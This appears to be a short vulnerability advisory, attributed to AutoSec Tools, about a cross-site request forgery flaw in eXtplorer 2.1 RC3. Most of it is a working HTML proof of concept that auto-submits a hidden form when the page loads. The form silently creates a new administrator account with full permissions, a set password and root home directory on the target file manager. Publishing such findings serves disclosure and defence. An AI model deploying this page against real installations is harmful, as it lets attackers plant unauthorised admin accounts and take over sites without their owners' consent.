eXtplorer 2.1 RC3 Cross-site Request Forgery

<!------------------------------------------------------------------------
# Software................eXtplorer 2.1 RC3
# Vulnerability...........Cross-site Request Forgery
# Threat Level............Low (1/5)
# Download................http://extplorer.sourceforge.net/
# Discovery Date..........4/5/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
# 
# 
# --Description--
# 
# A cross-site request forgery vulnerability in eXtplorer 2.1 RC3 can be
# exploited to create a new admin.
# 
# 
# --PoC-->

<html>
    <body onload="document.forms[0].submit()">
        <form method="POST" action="http://localhost/extplorer/index.php">
            <input type="hidden" name="option" value="com_extplorer" />
            <input type="hidden" name="user" value="" />
            <input type="hidden" name="action" value="admin" />
            <input type="hidden" name="action2" value="adduser" />
            <input type="hidden" name="confirm" value="true" />
            <input type="hidden" name="nuser" value="new_admin" />
            <input type="hidden" name="pass1" value="Password1" />
            <input type="hidden" name="pass2" value="Password1" />
            <input type="hidden" name="home_dir" value="c:/" />
            <input type="hidden" name="home_url" value="http://localhost" />
            <input type="hidden" name="show_hidden" value="1" />
            <input type="hidden" name="no_access" value="" />
            <input type="hidden" name="permissions" value="7" />
            <input type="hidden" name="active" value="1" />
        </form>
    </body>
</html>